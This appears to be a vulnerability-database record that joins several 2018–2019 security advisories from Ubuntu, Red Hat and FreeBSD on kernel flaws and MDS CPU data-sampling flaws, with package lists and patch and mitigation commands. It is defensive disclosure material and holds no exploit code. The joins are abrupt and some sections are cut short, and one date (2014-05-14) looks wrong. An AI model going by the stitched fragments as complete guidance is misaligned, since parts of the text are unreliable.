Daniel\nMoghimi, Moritz Lipp, Michael Schwarz, Jo Van Bulck, Daniel Genkin, Daniel\nGruss, Berk Sunar, Frank Piessens, and Yuval Yarom discovered that memory\npreviously stored in microarchitectural store buffers of an Intel CPU core\nmay be exposed to a malicious process that is executing on the same CPU\ncore. A local attacker could use this to expose sensitive information. \n(CVE-2018-12126)\n\nKe Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Volodrmyr Pikhur,\nMoritz Lipp, Michael Schwarz, Daniel Gruss, Stephan van Schaik, Alyssa\nMilburn, Sebastian \\xd6sterlund, Pietro Frigo, Kaveh Razavi, Herbert Bos, and\nCristiano Giuffrida discovered that uncacheable memory previously stored in\nmicroarchitectural buffers of an Intel CPU core may be exposed to a\nmalicious process that is executing on the same CPU core. A local attacker\ncould use this to expose sensitive information. (CVE-2019-11091)\n\nIt was discovered that the IPv4 generic receive offload (GRO) for UDP\nimplementation in the Linux kernel did not properly handle padded packets. \nA remote attacker could use this to cause a denial of service (system\ncrash). (CVE-2019-11683)\n\nIt was discovered that a race condition existed in the Binder IPC driver\nfor the Linux kernel. A local attacker could use this to cause a denial of\nservice (system crash) or possibly execute arbitrary code. (CVE-2019-1999)\n\nMatteo Croce, Natale Vinto, and Andrea Spagnolo discovered that the cgroups\nsubsystem of the Linux kernel did not properly account for SCTP socket\nbuffers. A local attacker could use this to cause a denial of service\n(system crash). (CVE-2019-3874)\n\nAlex Williamson discovered that the vfio subsystem of the Linux kernel did\nnot properly limit DMA mappings. A local attacker could use this to cause a\ndenial of service (memory exhaustion). (CVE-2019-3882)\n\nMarc Orr discovered that the KVM hypervisor implementation in the Linux\nkernel did not properly restrict APIC MSR register values when nested\nvirtualization is used. An attacker in a guest vm could use this to cause a\ndenial of service (host OS crash). (CVE-2019-3887)\n\nHugues Anguelkov discovered that the Broadcom Wifi driver in the Linux\nkernel contained a head puffer overflow. A physically proximate attacker\ncould use this to cause a denial of service (system crash) or possibly\nexecute arbitrary code. (CVE-2019-9500)\n\nHugues Anguelkov discovered that the Broadcom Wifi driver in the Linux\nkernel did not properly prevent remote firmware events from being processed\nfor USB Wifi devices. A physically proximate attacker could use this to\nsend firmware events to the device. (CVE-2019-9503)\n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 19.04:\n linux-image-5.0.0-1006-aws 5.0.0-1006.6\n linux-image-5.0.0-1006-azure 5.0.0-1006.6\n linux-image-5.0.0-1006-gcp 5.0.0-1006.6\n linux-image-5.0.0-1006-kvm 5.0.0-1006.6\n linux-image-5.0.0-1008-raspi2 5.0.0-1008.8\n linux-image-5.0.0-15-generic 5.0.0-15.16\n linux-image-5.0.0-15-generic-lpae 5.0.0-15.16\n linux-image-5.0.0-15-lowlatency 5.0.0-15.16\n linux-image-aws 5.0.0.1006.6\n linux-image-azure 5.0.0.1006.6\n linux-image-gcp 5.0.0.1006.6\n linux-image-generic 5.0.0.15.16\n linux-image-generic-lpae 5.0.0.15.16\n linux-image-gke 5.0.0.1006.6\n linux-image-kvm 5.0.0.1006.6\n linux-image-lowlatency 5.0.0.15.16\n linux-image-raspi2 5.0.0.1008.5\n linux-image-virtual 5.0.0.15.16\n\nAfter a standard system update you need to reboot your computer to make\nall the necessary changes. \n\nPlease note that fully mitigating the Microarchitectural Data Sampling\n(MDS) issues (CVE-2018-12126, CVE-2018-12127, CVE-2018-12130, and\nCVE-2019-11091) requires corresponding processor microcode/firmware\nupdates or, in virtual environments, hypervisor updates. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\n=====================================================================\n Red Hat Security Advisory\n\nSynopsis: Important: libvirt security update\nAdvisory ID: RHSA-2019:1180-01\nProduct: Red Hat Enterprise Linux\nAdvisory URL: https://access.redhat.com/errata/RHSA-2019:1180\nIssue date: 2019-05-14\nCVE Names: CVE-2018-12126 CVE-2018-12127 CVE-2018-12130 \n CVE-2019-11091 \n=====================================================================\n\n1. Summary:\n\nAn update for libvirt is now available for Red Hat Enterprise Linux 6. \n\nRed Hat Product Security has rated this update as having a security impact\nof Important. A Common Vulnerability Scoring System (CVSS) base score,\nwhich gives a detailed severity rating, is available for each vulnerability\nfrom the CVE link(s) in the References section. \n\n2. Relevant releases/architectures:\n\nRed Hat Enterprise Linux Desktop (v. 6) - i386, x86_64\nRed Hat Enterprise Linux Desktop Optional (v. 6) - i386, x86_64\nRed Hat Enterprise Linux HPC Node (v. 6) - x86_64\nRed Hat Enterprise Linux HPC Node Optional (v. 6) - x86_64\nRed Hat Enterprise Linux Server (v. 6) - i386, ppc64, s390x, x86_64\nRed Hat Enterprise Linux Server Optional (v. 6) - x86_64\nRed Hat Enterprise Linux Workstation (v. 6) - i386, x86_64\nRed Hat Enterprise Linux Workstation Optional (v. 6) - x86_64\n\n3. Description:\n\nThe libvirt library contains a C API for managing and interacting with the\nvirtualization capabilities of Linux and other operating systems. In\naddition, libvirt provides tools for remote management of virtualized\nsystems. \n\nSecurity Fix(es):\n\n* A flaw was found in the implementation of the \"fill buffer\", a mechanism\nused by modern CPUs when a cache-miss is made on L1 CPU cache. If an\nattacker can generate a load operation that would create a page fault, the\nexecution will continue speculatively with incorrect data from the fill\nbuffer while the data is fetched from higher level caches. This response\ntime can be measured to infer data in the fill buffer. (CVE-2018-12130)\n\n* Modern Intel microprocessors implement hardware-level micro-optimizations\nto improve the performance of writing data back to CPU caches. The write\noperation is split into STA (STore Address) and STD (STore Data)\nsub-operations. These sub-operations allow the processor to hand-off\naddress generation logic into these sub-operations for optimized writes. \nBoth of these sub-operations write to a shared distributed processor\nstructure called the \u0027processor store buffer\u0027. As a result, an unprivileged\nattacker could use this flaw to read private data resident within the CPU\u0027s\nprocessor store buffer. (CVE-2018-12126)\n\n* Microprocessors use a \u2018load port\u2019 subcomponent to perform load operations\nfrom memory or IO. During a load operation, the load port receives data\nfrom the memory or IO subsystem and then provides the data to the CPU\nregisters and operations in the CPU\u2019s pipelines. Stale load operations\nresults are stored in the \u0027load port\u0027 table until overwritten by newer\noperations. Certain load-port operations triggered by an attacker can be\nused to reveal data about previous stale requests leaking data back to the\nattacker via a timing side-channel. (CVE-2019-11091)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section. \n\n4. Solution:\n\nFor details on how to apply this update, which includes the changes\ndescribed in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258\n\nAfter installing the updated packages, libvirtd will be restarted\nautomatically. \n\n5. Bugs fixed (https://bugzilla.redhat.com/):\n\n1646781 - CVE-2018-12126 hardware: Microarchitectural Store Buffer Data Sampling (MSBDS)\n1646784 - CVE-2018-12130 hardware: Microarchitectural Fill Buffer Data Sampling (MFBDS)\n1667782 - CVE-2018-12127 hardware: Micro-architectural Load Port Data Sampling - Information Leak (MLPDS)\n1705312 - CVE-2019-11091 hardware: Microarchitectural Data Sampling Uncacheable Memory (MDSUM)\n\n6. Package List:\n\nRed Hat Enterprise Linux Desktop (v. 6):\n\nSource:\nlibvirt-0.10.2-64.el6_10.1.src.rpm\n\ni386:\nlibvirt-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-client-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-python-0.10.2-64.el6_10.1.i686.rpm\n\nx86_64:\nlibvirt-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-client-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-client-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-python-0.10.2-64.el6_10.1.x86_64.rpm\n\nRed Hat Enterprise Linux Desktop Optional (v. 6):\n\ni386:\nlibvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.i686.rpm\n\nx86_64:\nlibvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-lock-sanlock-0.10.2-64.el6_10.1.x86_64.rpm\n\nRed Hat Enterprise Linux HPC Node (v. 6):\n\nSource:\nlibvirt-0.10.2-64.el6_10.1.src.rpm\n\nx86_64:\nlibvirt-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-client-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-client-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-python-0.10.2-64.el6_10.1.x86_64.rpm\n\nRed Hat Enterprise Linux HPC Node Optional (v. 6):\n\nx86_64:\nlibvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-lock-sanlock-0.10.2-64.el6_10.1.x86_64.rpm\n\nRed Hat Enterprise Linux Server (v. 6):\n\nSource:\nlibvirt-0.10.2-64.el6_10.1.src.rpm\n\ni386:\nlibvirt-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-client-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-python-0.10.2-64.el6_10.1.i686.rpm\n\nppc64:\nlibvirt-0.10.2-64.el6_10.1.ppc64.rpm\nlibvirt-client-0.10.2-64.el6_10.1.ppc.rpm\nlibvirt-client-0.10.2-64.el6_10.1.ppc64.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.ppc.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.ppc64.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.ppc.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.ppc64.rpm\nlibvirt-python-0.10.2-64.el6_10.1.ppc64.rpm\n\ns390x:\nlibvirt-0.10.2-64.el6_10.1.s390x.rpm\nlibvirt-client-0.10.2-64.el6_10.1.s390.rpm\nlibvirt-client-0.10.2-64.el6_10.1.s390x.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.s390.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.s390x.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.s390.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.s390x.rpm\nlibvirt-python-0.10.2-64.el6_10.1.s390x.rpm\n\nx86_64:\nlibvirt-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-client-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-client-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-python-0.10.2-64.el6_10.1.x86_64.rpm\n\nRed Hat Enterprise Linux Server Optional (v. 6):\n\nx86_64:\nlibvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-lock-sanlock-0.10.2-64.el6_10.1.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation (v. 6):\n\nSource:\nlibvirt-0.10.2-64.el6_10.1.src.rpm\n\ni386:\nlibvirt-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-client-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-python-0.10.2-64.el6_10.1.i686.rpm\n\nx86_64:\nlibvirt-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-client-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-client-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-python-0.10.2-64.el6_10.1.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation Optional (v. 6):\n\nx86_64:\nlibvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-lock-sanlock-0.10.2-64.el6_10.1.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security. Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. References:\n\nhttps://access.redhat.com/security/cve/CVE-2018-12126\nhttps://access.redhat.com/security/cve/CVE-2018-12127\nhttps://access.redhat.com/security/cve/CVE-2018-12130\nhttps://access.redhat.com/security/cve/CVE-2019-11091\nhttps://access.redhat.com/security/vulnerabilities/mds\nhttps://access.redhat.com/security/updates/classification/#important\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2019 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIVAwUBXNsJuNzjgjWX9erEAQhuig/7B0ZCV6Np07w9O5y2hyX9OYuOPTWWOuuj\naR8ndZOC8FCgp630HSEB/Hi17XzCDCYRQusAKcfnSrDIPLJNbr2I0b3RxvXNiKu/\ncfksAhrA6XtdcW4LXSSRvIQGNrBSFGiv1QCYie+ER8JzRCe8+0/K0soMOubg5ZUz\n78TQeK87McXoGPAqlNrDW3h1EGpq6SJDSPJg3Q598L1di4s0HUHthV9HcjXYUlqV\nG2xP1mkq4P6iOmUEqQ45Kq6ntPhFPjaiR/vMz9Tj6B6Kmpb9/IxVpQ84dTideOG9\nad3O1ZPGHchITcKntYZ9IePeIhYoUFeNKccJ9J0h1JvQ7utWmS9j6zBgWmOaReb0\nRbhFggIlHQ9Oxxv/jcEz9eU4n+VzGF+Dzv0lhnFNfE5HTer4YFRI+Fm58SkVb1hO\n3+hIj1sMrIMm86MmCfB/MnmQeSCy8WJRyjUDkbMTAqN6xOAyDfW0h4DKw0YtS6ml\nWeubwvnad9ltJslFUh4XCvKNJmNtC3b1YVehE9LpTRcBwpHr26OBs3iDFvHIU5jh\nmi971Lw8++SZzaYaBEN2+Eop2Dhk2IdMKsFk75OQLdRY94FIZ3hvteOY32tKQBn8\n+Xb+dfrSuoEnzSWULGH5LUxOYKik1SnpHphaCX+SBB3aClvCVOoxig7urLIM89Sq\n71dvSxshwr0=\n=CE4I\n-----END PGP SIGNATURE-----\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://www.redhat.com/mailman/listinfo/rhsa-announce\n. 6) - i386, x86_64\n\n3. Description:\n\nKernel-based Virtual Machine (KVM) is a full virtualization solution for\nLinux on a variety of architectures. The qemu-kvm packages provide the\nuser-space component for running virtual machines that use KVM. Once\nall virtual machines have shut down, start them again for this update to\ntake effect. These packages include redhat-release-virtualization-host,\novirt-node, and rhev-hypervisor. RHVH features a Cockpit user\ninterface for monitoring the host\u0027s resources and performing administrative\ntasks. These\npackages include redhat-release-virtualization-host, ovirt-node, and\nrhev-hypervisor. RHVH features a Cockpit user interface for\nmonitoring the host\u0027s resources and performing administrative tasks. \nAffects: All supported versions of FreeBSD. \nCorrected: 2019-05-14 17:04:00 UTC (stable/12, 12.0-STABLE)\n 2019-05-14 23:19:08 UTC (releng/12.0, 12.0-RELEASE-p4)\n 2019-05-14 17:05:02 UTC (stable/11, 11.3-PRERELEASE)\n 2019-05-14 23:20:16 UTC (releng/11.2, 11.2-RELEASE-p10)\nCVE Name: CVE-2018-12126, CVE-2018-12127, CVE-2018-12130,\n\t\tCVE-2019-11091\n\nFor general information regarding FreeBSD Security Advisories,\nincluding descriptions of the fields above, security branches, and the\nfollowing sections, please visit \u003cURL:https://security.FreeBSD.org/\u003e. Background\n\nModern processors make use of speculative execution, an optimization\ntechnique which performs some action in advance of knowing whether the\nresult will actually be used. \n\nII. \n\nIII. Impact\n\nAn attacker may be able to read secret data from the kernel or from a\nprocess when executing untrusted code (for example, in a web browser). \n\nIV. Workaround\n\nNo workaround is available. \n\nSystems with users or processors in different trust domains should disable\nHyper-Threading by setting the machdep.hyperthreading_allowed tunable to 0:\n\n# echo \u0027machdep.hyperthreading_allowed=0 \u003e\u003e /boot/loader.conf\u0027\n# shutdown\n\nV. Solution\n\nPerform one of the following:\n\nUpdate CPU microcode, upgrade your vulnerable system to a supported FreeBSD\nstable or release / security branch (releng) dated after the correction date,\nevaluate mitigation and Hyper Threading controls, and reboot the system. \n\nNew CPU microcode may be available in a BIOS update from your system vendor,\nor by installing the devcpu-data package or sysutils/devcpu-data port. \nEnsure that the BIOS update or devcpu-data package is dated after 2014-05-14. \n\nIf using the package or port the microcode update can be applied at boot time\nby adding the following lines to the system\u0027s /boot/loader.conf:\n\ncpu_microcode_load=\"YES\"\ncpu_microcode_name=\"/boot/firmware/intel-ucode.bin\"\n\nMicrocode updates can also be applied while the system is running. See\ncpucontrol(8) for details. \n\n1) To update your vulnerable system via a binary patch:\n\nSystems running a RELEASE version of FreeBSD on the i386 or amd64\nplatforms can be updated via the freebsd-update(8) utility:\n\n# freebsd-update fetch\n# freebsd-update install\n\nFollow additional details under \"Mitigation Configuration\" below. \n\n2) To update your vulnerable system via a source code patch:\n\nThe following patches have been verified to apply to the applicable\nFreeBSD release branches. \n\na) Download the relevant patch from the location below, and verify the\ndetached PGP signature using your PGP utility. \n\n[FreeBSD 12.0-STABLE]\n# fetch https://security.FreeBSD.org/patches/SA-19:07/mds.12-stable.patch\n# fetch https://security.FreeBSD.org/patches/SA-19:07/mds.12-stable.patch.asc\n# gpg --verify mds.12-stable.patch.asc\n\n[FreeBSD 12.0-RELEASE]\n# fetch https://security.FreeBSD.org/patches/SA-19:07/mds.12.0.patch\n# fetch https://security.FreeBSD.org/patches/SA-19:07/mds.12.0.patch.asc\n# gpg --verify mds.12.0.patch.asc\n\n[FreeBSD 11.3-PRERELEASE]\n# fetch https://security.FreeBSD.org/patches/SA-19:07/mds.11-stable.patch\n# fetch https://security.FreeBSD.org/patches/SA-19:07/mds.11-stable.patch.asc\n# gpg --verify mds.11-stable.patch.asc\n\n[FreeBSD 11.2-RELEASE]\n# fetch https://security.FreeBSD.org/patches/SA-19:07/mds.11.2.patch\n# fetch https://security.FreeBSD.org/patches/SA-19:07/mds.11.2.patch.asc\n# gpg --verify mds.11.2.patch.asc\n\nb) Apply the patch. Execute the following commands as root:\n\n# cd /usr/src\n# patch \u003c /path/to/patch\n\nc) Recompile your kernel as described in\n\u003cURL:https://www.FreeBSD.org/handbook/kernelconfig.html\u003e. \n\nMitigation Configuration\n\nSystems with users, processes, or virtual machines in different trust\ndomains should disable Hyper-Threading by setting the\nmachdep.hyperthreading_allowed tunable to 0:\n\n# echo machdep.hyperthreading_allowed=0 \u003e\u003e /boot/loader.conf\n\nTo activate the MDS mitigation set the hw.mds_disable sysctl. The settings\nare:\n\n0 - mitigation disabled\n1 - VERW instruction (microcode) mitigation enabled\n2 - Software sequence mitigation enabled (not recommended)\n3 - Automatic VERW or Software selection\n\nAutomatic mode uses the VERW instruction if supported by the CPU / microcode,\nor software sequences if not. To enable automatic mode at boot:\n\n# echo hw.mds_disable=3 \u003e\u003e /etc/sysctl.conf\n\nReboot the system:\n\n# shutdown -r +10min \"Security update\"\n\nCheck the mitigation status:\n\n# sysctl hw.mds_disable_state\nhw.mds_disable_state: software Silvermont\n\nVI. Correction details\n\nThe following list contains the correction revision numbers for each\naffected branch. \n\nBranch/path Revision\n- -------------------------------------------------------------------------\nstable/12/ r347567\nreleng/12.0/ r346594\nstable/11/ r347568\nreleng/11.2/ r347595\n- -------------------------------------------------------------------------\n\nTo see which files were modified by a particular revision, run the\nfollowing command, replacing NNNNNN with the revision number, on a\nmachine with Subversion installed:\n\n# svn diff -cNNNNNN --summarize svn://svn.freebsd.org/base\n\nOr visit the following URL, replacing NNNNNN with the revision number:\n\n\u003cURL:https://svnweb.freebsd.org/base?view=revision\u0026revision=NNNNNN\u003e\n\nVII",
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VAR-201809-0668
Vulnerability from variot - Updated: 2026-03-09 22:22An integer overflow flaw was found in the Linux kernel's create_elf_tables() function. An unprivileged local user with access to SUID (or otherwise privileged) binary could use this flaw to escalate their privileges on the system. Kernel versions 2.6.x, 3.10.x and 4.14.x are believed to be vulnerable. Linux Kernel Contains an integer overflow vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Linux kernel is prone to a local integer-overflow vulnerability. Attackers can exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely cause a denial-of-service condition. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256
====================================================================
Red Hat Security Advisory
Synopsis: Important: kernel security and bug fix update Advisory ID: RHSA-2018:2748-01 Product: Red Hat Enterprise Linux Advisory URL: https://access.redhat.com/errata/RHSA-2018:2748 Issue date: 2018-09-25 CVE Names: CVE-2018-14634 ==================================================================== 1. Summary:
An update for kernel is now available for Red Hat Enterprise Linux 7.
Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
- Relevant releases/architectures:
Red Hat Enterprise Linux Client (v. 7) - noarch, x86_64 Red Hat Enterprise Linux Client Optional (v. 7) - x86_64 Red Hat Enterprise Linux ComputeNode (v. 7) - noarch, x86_64 Red Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64 Red Hat Enterprise Linux Server (v. 7) - noarch, ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Server Optional (v. 7) - ppc64, ppc64le, x86_64 Red Hat Enterprise Linux Workstation (v. 7) - noarch, x86_64 Red Hat Enterprise Linux Workstation Optional (v. 7) - x86_64 Red Hat Enterprise Linux for ARM and IBM Power LE (POWER9) Server (v. 7) - noarch, ppc64le, s390x Red Hat Enterprise Linux for ARM and IBM Power LE (POWER9) Server Optional (v. 7) - noarch, ppc64le
Security Fix(es):
- kernel: Integer overflow in Linux's create_elf_tables function (CVE-2018-14634)
For more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.
Red Hat would like to thank Qualys Research Labs for reporting this issue.
Bug Fix(es):
These updated kernel packages include also numerous bug fixes. Space precludes documenting all of the bug fixes in this advisory. See the descriptions in the related Knowledge Article:
https://access.redhat.com/articles/3588731
- Solution:
For details on how to apply this update, which includes the changes described in this advisory, refer to:
https://access.redhat.com/articles/11258
The system must be rebooted for this update to take effect.
- Package List:
Red Hat Enterprise Linux Client (v. 7):
Source: kernel-3.10.0-862.14.4.el7.src.rpm
noarch: kernel-abi-whitelists-3.10.0-862.14.4.el7.noarch.rpm kernel-doc-3.10.0-862.14.4.el7.noarch.rpm
x86_64: kernel-3.10.0-862.14.4.el7.x86_64.rpm kernel-debug-3.10.0-862.14.4.el7.x86_64.rpm kernel-debug-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-debug-devel-3.10.0-862.14.4.el7.x86_64.rpm kernel-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-debuginfo-common-x86_64-3.10.0-862.14.4.el7.x86_64.rpm kernel-devel-3.10.0-862.14.4.el7.x86_64.rpm kernel-headers-3.10.0-862.14.4.el7.x86_64.rpm kernel-tools-3.10.0-862.14.4.el7.x86_64.rpm kernel-tools-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-tools-libs-3.10.0-862.14.4.el7.x86_64.rpm perf-3.10.0-862.14.4.el7.x86_64.rpm perf-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm python-perf-3.10.0-862.14.4.el7.x86_64.rpm python-perf-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm
Red Hat Enterprise Linux Client Optional (v. 7):
x86_64: kernel-debug-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-debuginfo-common-x86_64-3.10.0-862.14.4.el7.x86_64.rpm kernel-tools-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-tools-libs-devel-3.10.0-862.14.4.el7.x86_64.rpm perf-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm python-perf-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm
Red Hat Enterprise Linux ComputeNode (v. 7):
Source: kernel-3.10.0-862.14.4.el7.src.rpm
noarch: kernel-abi-whitelists-3.10.0-862.14.4.el7.noarch.rpm kernel-doc-3.10.0-862.14.4.el7.noarch.rpm
x86_64: kernel-3.10.0-862.14.4.el7.x86_64.rpm kernel-debug-3.10.0-862.14.4.el7.x86_64.rpm kernel-debug-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-debug-devel-3.10.0-862.14.4.el7.x86_64.rpm kernel-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-debuginfo-common-x86_64-3.10.0-862.14.4.el7.x86_64.rpm kernel-devel-3.10.0-862.14.4.el7.x86_64.rpm kernel-headers-3.10.0-862.14.4.el7.x86_64.rpm kernel-tools-3.10.0-862.14.4.el7.x86_64.rpm kernel-tools-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-tools-libs-3.10.0-862.14.4.el7.x86_64.rpm perf-3.10.0-862.14.4.el7.x86_64.rpm perf-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm python-perf-3.10.0-862.14.4.el7.x86_64.rpm python-perf-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm
Red Hat Enterprise Linux ComputeNode Optional (v. 7):
x86_64: kernel-debug-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-debuginfo-common-x86_64-3.10.0-862.14.4.el7.x86_64.rpm kernel-tools-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-tools-libs-devel-3.10.0-862.14.4.el7.x86_64.rpm perf-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm python-perf-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm
Red Hat Enterprise Linux Server (v. 7):
Source: kernel-3.10.0-862.14.4.el7.src.rpm
noarch: kernel-abi-whitelists-3.10.0-862.14.4.el7.noarch.rpm kernel-doc-3.10.0-862.14.4.el7.noarch.rpm
ppc64: kernel-3.10.0-862.14.4.el7.ppc64.rpm kernel-bootwrapper-3.10.0-862.14.4.el7.ppc64.rpm kernel-debug-3.10.0-862.14.4.el7.ppc64.rpm kernel-debug-debuginfo-3.10.0-862.14.4.el7.ppc64.rpm kernel-debug-devel-3.10.0-862.14.4.el7.ppc64.rpm kernel-debuginfo-3.10.0-862.14.4.el7.ppc64.rpm kernel-debuginfo-common-ppc64-3.10.0-862.14.4.el7.ppc64.rpm kernel-devel-3.10.0-862.14.4.el7.ppc64.rpm kernel-headers-3.10.0-862.14.4.el7.ppc64.rpm kernel-tools-3.10.0-862.14.4.el7.ppc64.rpm kernel-tools-debuginfo-3.10.0-862.14.4.el7.ppc64.rpm kernel-tools-libs-3.10.0-862.14.4.el7.ppc64.rpm perf-3.10.0-862.14.4.el7.ppc64.rpm perf-debuginfo-3.10.0-862.14.4.el7.ppc64.rpm python-perf-3.10.0-862.14.4.el7.ppc64.rpm python-perf-debuginfo-3.10.0-862.14.4.el7.ppc64.rpm
ppc64le: kernel-3.10.0-862.14.4.el7.ppc64le.rpm kernel-bootwrapper-3.10.0-862.14.4.el7.ppc64le.rpm kernel-debug-3.10.0-862.14.4.el7.ppc64le.rpm kernel-debug-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm kernel-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm kernel-debuginfo-common-ppc64le-3.10.0-862.14.4.el7.ppc64le.rpm kernel-devel-3.10.0-862.14.4.el7.ppc64le.rpm kernel-headers-3.10.0-862.14.4.el7.ppc64le.rpm kernel-tools-3.10.0-862.14.4.el7.ppc64le.rpm kernel-tools-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm kernel-tools-libs-3.10.0-862.14.4.el7.ppc64le.rpm perf-3.10.0-862.14.4.el7.ppc64le.rpm perf-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm python-perf-3.10.0-862.14.4.el7.ppc64le.rpm python-perf-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm
s390x: kernel-3.10.0-862.14.4.el7.s390x.rpm kernel-debug-3.10.0-862.14.4.el7.s390x.rpm kernel-debug-debuginfo-3.10.0-862.14.4.el7.s390x.rpm kernel-debug-devel-3.10.0-862.14.4.el7.s390x.rpm kernel-debuginfo-3.10.0-862.14.4.el7.s390x.rpm kernel-debuginfo-common-s390x-3.10.0-862.14.4.el7.s390x.rpm kernel-devel-3.10.0-862.14.4.el7.s390x.rpm kernel-headers-3.10.0-862.14.4.el7.s390x.rpm kernel-kdump-3.10.0-862.14.4.el7.s390x.rpm kernel-kdump-debuginfo-3.10.0-862.14.4.el7.s390x.rpm kernel-kdump-devel-3.10.0-862.14.4.el7.s390x.rpm perf-3.10.0-862.14.4.el7.s390x.rpm perf-debuginfo-3.10.0-862.14.4.el7.s390x.rpm python-perf-3.10.0-862.14.4.el7.s390x.rpm python-perf-debuginfo-3.10.0-862.14.4.el7.s390x.rpm
